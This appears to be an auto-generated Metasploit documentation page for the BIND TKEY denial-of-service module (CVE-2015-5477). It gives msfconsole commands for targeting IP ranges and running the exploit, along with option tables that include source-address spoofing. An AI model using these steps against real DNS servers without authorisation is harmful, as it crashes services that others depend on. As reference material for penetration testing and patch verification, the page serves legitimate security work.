BIND TKEY Query Denial of Service - Metasploit


This page contains detailed information about how to use the auxiliary/dos/dns/bind_tkey metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: BIND TKEY Query Denial of Service
Module: auxiliary/dos/dns/bind_tkey
Source code: modules/auxiliary/dos/dns/bind_tkey.rb
Disclosure date: 2015-07-28
Last modification time: 2018-11-16 12:18:28 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 53
List of CVEs: CVE-2015-5477

This module sends a malformed TKEY query, which exploits an error in handling TKEY queries on affected BIND9 'named' DNS servers. As a result, a vulnerable named server will exit with a REQUIRE assertion failure. This condition can be exploited in versions of BIND between BIND 9.1.0 through 9.8.x, 9.9.0 through 9.9.7-P1 and 9.10.0 through 9.10.2-P2.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/dos/dns/bind_tkey
msf auxiliary(bind_tkey) > show options
    ... show and set options ...
msf auxiliary(bind_tkey) > set RHOSTS ip-range
msf auxiliary(bind_tkey) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(bind_tkey) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(bind_tkey) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(bind_tkey) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Go back to menu.

Msfconsole Usage


Here is how the dos/dns/bind_tkey auxiliary module looks in the msfconsole:

msf6 > use auxiliary/dos/dns/bind_tkey

msf6 auxiliary(dos/dns/bind_tkey) > show info

       Name: BIND TKEY Query Denial of Service
     Module: auxiliary/dos/dns/bind_tkey
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-07-28

Provided by:
  Jonathan Foote
  throwawayokejxqbbif
  wvu <[email protected]>

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  BATCHSIZE  256              yes       The number of hosts to probe in each set
  INTERFACE                   no        The name of the interface
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      53               yes       The target port (UDP)
  SRC_ADDR                    no        Source address to spoof
  THREADS    10               yes       The number of concurrent threads

Description:
  This module sends a malformed TKEY query, which exploits an error in 
  handling TKEY queries on affected BIND9 'named' DNS servers. As a 
  result, a vulnerable named server will exit with a REQUIRE assertion 
  failure. This condition can be exploited in versions of BIND between 
  BIND 9.1.0 through 9.8.x, 9.9.0 through 9.9.7-P1 and 9.10.0 through 
  9.10.2-P2.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2015-5477
  https://www.isc.org/blogs/cve-2015-5477-an-error-in-handling-tkey-queries-can-cause-named-to-exit-with-a-require-assertion-failure/
  https://kb.isc.org/article/AA-01272

Module Options


This is a complete list of options available in the dos/dns/bind_tkey auxiliary module:

msf6 auxiliary(dos/dns/bind_tkey) > show options

Module options (auxiliary/dos/dns/bind_tkey):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   BATCHSIZE  256              yes       The number of hosts to probe in each set
   INTERFACE                   no        The name of the interface
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      53               yes       The target port (UDP)
   SRC_ADDR                    no        Source address to spoof
   THREADS    10               yes       The number of concurrent threads

Advanced Options


Here is a complete list of advanced options supported by the dos/dns/bind_tkey auxiliary module:

msf6 auxiliary(dos/dns/bind_tkey) > show advanced

Module advanced options (auxiliary/dos/dns/bind_tkey):

   Name                   Current Setting  Required  Description
   ----                   ---------------  --------  -----------
   CHOST                                   no        The local client address
   CPORT                                   no        The local client port
   GATEWAY_PROBE_HOST     8.8.8.8          yes       Send a TTL=1 random UDP datagram to this host to discover the default gateway's MAC
   GATEWAY_PROBE_PORT                      no        The port on GATEWAY_PROBE_HOST to send a random UDP probe to (random if 0 or unset)
   SECRET                 1297303073       yes       A 32-bit cookie for probe requests.
   ScannerMaxResends      10               yes       The maximum times to resend a packet when out of buffers
   ScannerRecvInterval    30               yes       The maximum numbers of sends before entering the processing loop
   ScannerRecvQueueLimit  100              yes       The maximum queue size before breaking out of the processing loop
   ScannerRecvWindow      0                yes       The number of seconds to wait post-scan to catch leftover replies
   ShowProgress           true             yes       Display progress messages during a scan
   ShowProgressPercent    10               yes       The interval in percent that progress should be shown
   VERBOSE                false            no        Enable detailed status messages
   WORKSPACE                               no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the dos/dns/bind_tkey module can do:

msf6 auxiliary(dos/dns/bind_tkey) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the dos/dns/bind_tkey auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(dos/dns/bind_tkey) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

named


Here is a relevant code snippet related to the "named" error message:

11:	  def initialize(info = {})
12:	    super(update_info(info,
13:	      'Name'           => 'BIND TKEY Query Denial of Service',
14:	      'Description'    => %q{
15:	        This module sends a malformed TKEY query, which exploits an
16:	        error in handling TKEY queries on affected BIND9 'named' DNS servers.
17:	        As a result, a vulnerable named server will exit with a REQUIRE
18:	        assertion failure. This condition can be exploited in versions of BIND
19:	        between BIND 9.1.0 through 9.8.x, 9.9.0 through 9.9.7-P1 and 9.10.0
20:	        through 9.10.2-P2.
21:	      },

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Jonathan Foote
  • throwawayokejxqbbif
  • wvu

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.